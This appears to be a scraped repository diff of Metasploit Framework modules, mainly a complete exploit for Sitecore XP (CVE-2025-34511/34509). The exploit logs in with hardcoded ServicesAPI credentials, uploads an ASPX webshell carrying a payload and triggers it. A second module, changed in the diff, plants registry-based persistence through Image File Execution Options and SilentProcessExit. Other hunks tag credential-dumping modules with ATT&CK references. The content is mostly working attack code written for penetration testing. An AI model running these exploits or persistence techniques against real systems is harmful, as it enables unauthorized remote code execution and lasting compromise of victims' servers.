# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::SitecoreXp
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Sitecore XP CVE-2025-34511 Post-Authentication File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
'Author' => [
|
||||
'Piotr Bazydlo', # Discovery
|
||||
'msutovsky-r7' # Module Creator
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2025-34511' ],
|
||||
['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
|
||||
['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows',
|
||||
{
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => '2025-06-17',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')
|
||||
|
||||
@is_logged = true
|
||||
|
||||
return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies
|
||||
|
||||
@is_elevated = true
|
||||
|
||||
sitecore_version = get_version
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'hdl' => '1245516121' }
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Safe('PowerShell extension not detected, might not be installed in target Sitecore instance') unless res&.code == 200
|
||||
|
||||
return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
|
||||
|
||||
Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
|
||||
end
|
||||
|
||||
def upload_webshell
|
||||
@webshell = "#{Rex::Text.rand_text_alpha(15)}.aspx"
|
||||
@item_uri = Rex::Text.rand_text_alpha(8)
|
||||
exe = generate_payload_exe
|
||||
asp = Msf::Util::EXE.to_exe_aspx(exe)
|
||||
|
||||
data_post = Rex::MIME::Message.new
|
||||
data_post.add_part(@item_uri, nil, nil, %(form-data; name="ItemUri"))
|
||||
data_post.add_part('en', nil, nil, %(form-data; name="LanguageName"))
|
||||
data_post.add_part('0', nil, nil, %(form-data; name="Overwrite"))
|
||||
data_post.add_part('0', nil, nil, %(form-data; name="Unpack"))
|
||||
data_post.add_part('en', nil, nil, %(form-data; name="Versioned"))
|
||||
data_post.add_part(asp, 'text/plain', nil, %(form-data; name="#{@item_uri}"; filename="#{@webshell}"))
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
|
||||
'vars_get' => { 'hdl' => '1245516121' },
|
||||
'data' => data_post.to_s,
|
||||
'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def trigger_webshell
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', @item_uri, @webshell),
|
||||
'method' => 'GET'
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
|
||||
fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
|
||||
end
|
||||
|
||||
if !@is_elevated && !get_identity_cookies
|
||||
fail_with(Failure::Unknown, 'Failed to get elevated cookies')
|
||||
end
|
||||
|
||||
fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless upload_webshell
|
||||
|
||||
trigger_webshell
|
||||
end
|
||||
end
|
||||
+41
-20
@@ -10,6 +10,10 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/windows/local/persistence_image_exec_options'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -33,13 +37,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2008-06-28',
|
||||
'Privileged' => true,
|
||||
'References' => [
|
||||
['URL', 'https://attack.mitre.org/techniques/T1183/'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
|
||||
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
@@ -48,21 +50,36 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('PAYLOAD_NAME',
|
||||
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
||||
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
|
||||
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
|
||||
|
||||
])
|
||||
end
|
||||
|
||||
def writable_dir
|
||||
d = super
|
||||
return session.sys.config.getenv(d) if d.start_with?('%')
|
||||
|
||||
d
|
||||
end
|
||||
|
||||
def check
|
||||
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
|
||||
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
||||
|
||||
return CheckCode::Safe('You must be System to run this Module') unless is_system?
|
||||
|
||||
CheckCode::Appears('Likely exploitable')
|
||||
end
|
||||
|
||||
def upload_payload(dest_pathname)
|
||||
payload_exe = generate_payload_exe
|
||||
write_file(dest_pathname, payload_exe)
|
||||
@@ -71,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
def validate_active_host
|
||||
unless is_system?
|
||||
fail_with(Failure::NoAccess, "You must be System to run this Module")
|
||||
fail_with(Failure::NoAccess, 'You must be System to run this Module')
|
||||
end
|
||||
|
||||
begin
|
||||
@@ -85,18 +102,18 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
def write_reg_keys(image_file, payload_pathname)
|
||||
reg_keys = []
|
||||
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
|
||||
value_name: "GlobalFlag",
|
||||
type: "REG_DWORD",
|
||||
value_name: 'GlobalFlag',
|
||||
type: 'REG_DWORD',
|
||||
value_value: 512)
|
||||
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
|
||||
value_name: "ReportingMode",
|
||||
type: "REG_DWORD",
|
||||
value_name: 'ReportingMode',
|
||||
type: 'REG_DWORD',
|
||||
value_value: 1)
|
||||
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
|
||||
value_name: "MonitorProcess",
|
||||
type: "REG_SZ",
|
||||
value_name: 'MonitorProcess',
|
||||
type: 'REG_SZ',
|
||||
value_value: payload_pathname)
|
||||
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
|
||||
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
|
||||
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
|
||||
reg_keys.each do |key|
|
||||
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
|
||||
@@ -109,13 +126,17 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
def install_persistence
|
||||
validate_active_host
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
|
||||
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
|
||||
temp_path = writable_dir
|
||||
image_file = datastore['IMAGE_FILE']
|
||||
payload_pathname = temp_path + "\\" + payload_name + '.exe'
|
||||
payload_pathname = temp_path + '\\' + payload_name + '.exe'
|
||||
vprint_status("Payload pathname = #{payload_pathname}")
|
||||
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
|
||||
@clean_up_rc << "rm #{payload_pathname}\n"
|
||||
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
|
||||
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
|
||||
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
|
||||
end
|
||||
end
|
||||
@@ -21,7 +21,10 @@ class MetasploitModule < Msf::Post
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
},
|
||||
'References' => [
|
||||
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
|
||||
]
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -30,6 +30,7 @@ class MetasploitModule < Msf::Post
|
||||
'References' => [
|
||||
['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],
|
||||
['URL', 'https://hashcat.net/forum/thread-2202.html'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING],
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
|
||||
@@ -22,7 +22,10 @@ class MetasploitModule < Msf::Post
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
},
|
||||
'References' => [
|
||||
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
|
||||
]
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user